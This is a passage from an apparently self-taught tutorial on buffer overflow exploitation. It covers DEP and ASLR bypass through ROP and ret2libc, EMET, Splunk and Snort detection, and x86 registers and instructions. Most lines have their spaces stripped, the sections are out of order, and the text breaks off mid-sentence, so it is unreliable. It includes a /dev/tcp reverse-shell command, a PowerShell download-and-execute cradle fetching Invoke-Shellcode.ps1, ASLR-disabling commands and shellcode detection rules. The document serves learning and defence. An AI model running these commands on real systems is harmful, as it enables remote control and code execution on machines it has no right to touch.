httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
YoursquollwanttousetheldquoCodeBrowserrdquointheGHIDRAtoolchestFromthereimportyourcompiledbinaryGhidrawilldothede-compilationmagicforyoufromthereAsillustratedbelowIrsquovepulledupthecompiledvulnServerCassemblycodeandGhidarsquosguessatthede-compiledfunctionsourcecodeThesourcecodewonrsquotmatchexactlybutyouwillbeabletoviewthefunctionandthelogicwhichwillallowyoutofindinsecurefunctionsandcustomfunctionsthatcreatesimilarproblems
WhatdoesallthismeanWellIbasicallywentthrougheachfunctionlookingforanyargumentthatmightbeinterestingIfyounoticedIrsquovehighlightedthex86op-codeatmemorylocation0x001012dwhichinvokesaCALLtoREAD()andsomesubsequentMOVrsquoswhicharelikelyaddingnewthe4BytestosomememorylocationThecorrespondingCcodeforthatassemblyissograciouslypositionedtotherightofourassemblyinstructionsLetrsquoslearnalittlebitabouttheREAD()functioninC
ssize_tread(intfsvoidbufsize_tN)ldquoFromthefileindicatedbythefiledescriptorfstheread()functionreadsNbytesofinputintothememoryareaindicatedbybufrdquoSotheprogrammerherewrotethisapplicationtoonlyreadthefirst4bytesofsomethingReadingfurtherintothedecompiledsourceweprintfthattellsuswerereadingtheldquoMessagerdquoakathepayloadorclientissendingSowersquorereadingthefirst4bytesoftheclientpayloadandstoringitintoavariablethatisthenbeingprintedbacktousinthevulnerableServerwhichprintsitrsquosldquoValuerdquoakanumberofBytes
Itlookslikethisisa4byteldquopre-fixrdquowhichisbasicallytheLEN(PAYLOAD)sentfromtheclientYoucanvalidatethisbelookingbackatthepythonclientcode
FormetheimportanttakeawaygoesbacktothatquoteearlierldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfwewereinadifferentsituationandwehadtowriteourownPythonfuzzingclientfromscratchwenowknowwhattheserverisexpectingfromtheclientFromherewecanreverseengineerourownfuzzingclientinwhateverlanguageyouwantWhenIfirstlearnedbufferoverflowsitwaswithwellknownvulnerableserversandtheldquoclientrequestrdquomessagewaswelldocumentedTherealityisthatdeeperstaticcodeanalysisisgenerallyrequiredforbufferoverflowsresearch
CrashingtheStackFinallyrightitrsquosalongstrangetripSo
WehavesomebasicskillsinC WehaveavulnerableCserverlisteningonthelocalnetwork WehaveeitheracustomorgenericclientforcommunicationtotheVulnerableServer WeunderstandweneedtoFuzztheprogramsarguments
Weusedsometoolstoreverseengineercompiledbinariesincaseweneedtogetcreativewiththefuzzypayload
Asaself-taughttechnologistoneofthemostdifficultareasIstruggledwithwasunderstandingwhatwasgoingonunderthehoodIstartedmyldquoTechyrdquojourneywritingJavaSCriptandHTMLbecauseitwaseasyandIcouldgetimmediatevisualfeedbackviachangesinthebrowserWorkingdownthestackintoCprogramingandx86x64LinuxandWindowsarchitectureswasandstillisnoteasyEitherWaylearninglowleveldebuggingisnecessaryWhatrsquosabufferldquoAbufferissimplyacontiguousblockofcomputermemorythatholdsmultipleinstancesofthesamedatatypeCprogrammersnormallyassociatewiththewordbufferarraysMostcommonlycharacterarraysArrayslikeallvariablesinCcanbedeclaredeitherstaticordynamicStaticvariablesareallocatedatloadtimeonthedatasegmentDynamicvariablesareallocatedatruntimeonthestackTooverflowistofloworfilloverthetopbrimsorboundsWewillconcernourselvesonlywiththeoverflowofdynamicbuffersotherwiseknownasstackbasedbufferoverflowsrdquo-SmashingtheStackbyAlephOneMostconfusingtomewashowthestackrelatesbacktoBufferandhowtheassemblylanguagefitsintothepuzzleSomeself-pacedlabshadmebreakopenadebuggertothesightofthishellip
TheScarydebuggerUI
IpersonallydecidedtogetofftheUIdebuggerbecauseitldquohadtoomanywindowsrdquoatthetimeLaterinthispaperIflipbacktotheUIbecauseitmadememorydumpseasytovisualizeWewillstartwithlinuxGDBintheterminalJustseemedalotcleanerviewandteachesyoumoreabouttheGUIversionAlthoughlearningtheterminalcommandstakemoretimethanclickingawindowtheyarebestforbeginners
NativeEDBinTerminal
OkaysoIputthesepicturesfirsttoputthebigbadscaryscreenswithldquoTheMatrixrdquofontoutofthewayHonestlyitrsquosnotthatbadIrsquovesynthesizedmynotesdowntoafewimportantthingsUnderstandtheBasicsofMemoryManagementIfoundanarticlethatbrokedownthebasicsofmemoryandthestackinawaythatreallyhelpedputthepiecestogetherAsanyonemovespastbasicNOPsledsintomoreadvancedexploitwritingthefollowingnotesareabsolutelycriticalFlipbackandforthbetweenthedefinitionsandtheimagesafewtimes
1 CommandlineargumentsandenvironmentvariablesTheargumentspassedtoaprogrambeforerunningandtheenvironmentvariablesarestoredinthehighmemoryaddresssection
2 StackThisistheplacewhereallthefunctionparametersreturnaddressesandthelocalvariablesofthefunctionarestoredItrsquosaLIFOstructureItgrowsdownwardinmemory(fromhigheraddressspacetoloweraddressspace)asnewfunctioncallsaremadeWewillexaminethestackinmoredetaillater
3 HeapAllthedynamicallyallocatedmemoryresideshereWheneverweusemalloctogetmemorydynamicallyitisallocatedfromtheheapTheheapgrowsupwardsinmemory(fromlowertohighermemoryaddresses)asmoreandmorememoryisrequired
4 Uninitializeddata(BssSegment)AlltheuninitializeddataisstoredhereThisconsistsofallglobalandstaticvariableswhicharenotinitializedbytheprogrammerThekernelinitializesthemtoarithmetic0bydefault
5 Initializeddata(DataSegment)AlltheinitializeddataisstoredhereThisconstistsofallglobalandstaticvariableswhichareinitialisedbytheprogrammer
6 TextThisisthesectionwheretheexecutablecodeisstoredTheloaderloadsinstructionsfromhereandexecutesthemItisoftenreadonly
MemoryArchitecture
RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy
detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus
Generalregisters Controlregisters Segmentregisters
Thegeneralregistersarefurtherdividedintothefollowinggroups
Dataregisters Pointerregisters Indexregisters DataRegisters
DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit
1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters
AHALBHBLCHCLDHandDL
Someofthesedataregistershavespecificuseinarithmeticaloperations
AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in
multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand
BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing
CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations
DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with
DXformultiplyanddivideoperationsinvolvinglargevalues
PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP
Therearethreecategoriesofpointerregisters
Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be
executed IP in association with the CS register (as CSIP) gives the complete address of the current
instruction in the code segment NOTES IP will control the next instruction executed hellip like say our
malware
Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in
association with the SS register (SSSP) refers to be current position of data or address within the program
stack NOTES Might give you a reference point to look higher in memory to find our malware in
bufferNOPsledaddresses
Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a
subroutine The address in SS register is combined with the offset in BP to get the location of the parameter
BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer
tracks the memory location between your Dynamic Variables and registers and your buffer etc BP
isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer
Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated
and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational
codestostartwiththatmostoverflowstutorialsseemtoincludehellip
Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures
following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end
andcomebacktoreading
ControlFlowInstructions
The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the
currentinstructionstarts
Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be
manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions
We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code
textbyenteringalabelnamefollowedbyacolonForexample
movesi[ebp+8]
beginxorecxecx
moveax[esi]
The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this
instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing
thelocationinsteadofits32-bitvalue
jmpmdashJump
Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into
amemorylocationthatishostingthemalware
Syntax
jmpltlabelgt
Example
jmpbeginmdashJumptotheinstructionlabeledbegin
callretmdashSubroutinecallandreturn
These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the
hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code
location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when
thesubroutinecompletes
The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported
in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of
instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater
Syntax
callltlabelgt
ret
DataMovementInstructions
movmdashMove(Opcodes88898A8B8C8E)
The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)
into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct
memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded
intoaregisterthencanbestoredtothedestinationmemoryaddress
Syntax
movltreggtltreggt
movltreggtltmemgt
movltmemgtltreggt
movltreggtltconstgt
movltmemgtltconstgt
Examples
moveaxebxmdashcopythevalueinebxintoeax
movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar
pushmdashPushstack(OpcodesFF898A8B8C8E)
The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements
ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by
pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses
Syntax
pushltreg32gt
pushltmemgt
pushltcon32gt
Examples
pusheaxmdashpusheaxonthestack
push[var]mdashpushthe4bytesataddressvarontothestack
popmdashPopstack
The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie
register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location
andthenincrementsSPby4
Syntax
popltreg32gt
popltmemgt
Examples
popedimdashpopthetopelementofthestackintoEDI
pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX
leamdashLoadeffectiveaddress
The lea instruction places the address specified by its second operand into the register specified by its first operand Note the
contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for
obtainingapointerintoamemoryregion
Syntax
lealtreg32gtltmemgt
Examples
leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI
leaeax[var]mdashthevalueinvarisplacedinEAX
leaeax[val]mdashthevaluevalisplacedinEAX
In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly
commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So
letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized
everythingquitenicely
On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out
The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math
function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob
maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo
SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd
thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe
higherlevelcode
IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis
pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour
instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick
theprogramintoexecutingyourmalwarewiththeprogramspermissions
OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware
LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand
overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer
1 TheaddressofvulnReadstartsatmemoryaddress78dinhex
2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge
isallocatedasalocalvariable
791 81ec14040000 sub$0x414esp
3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare
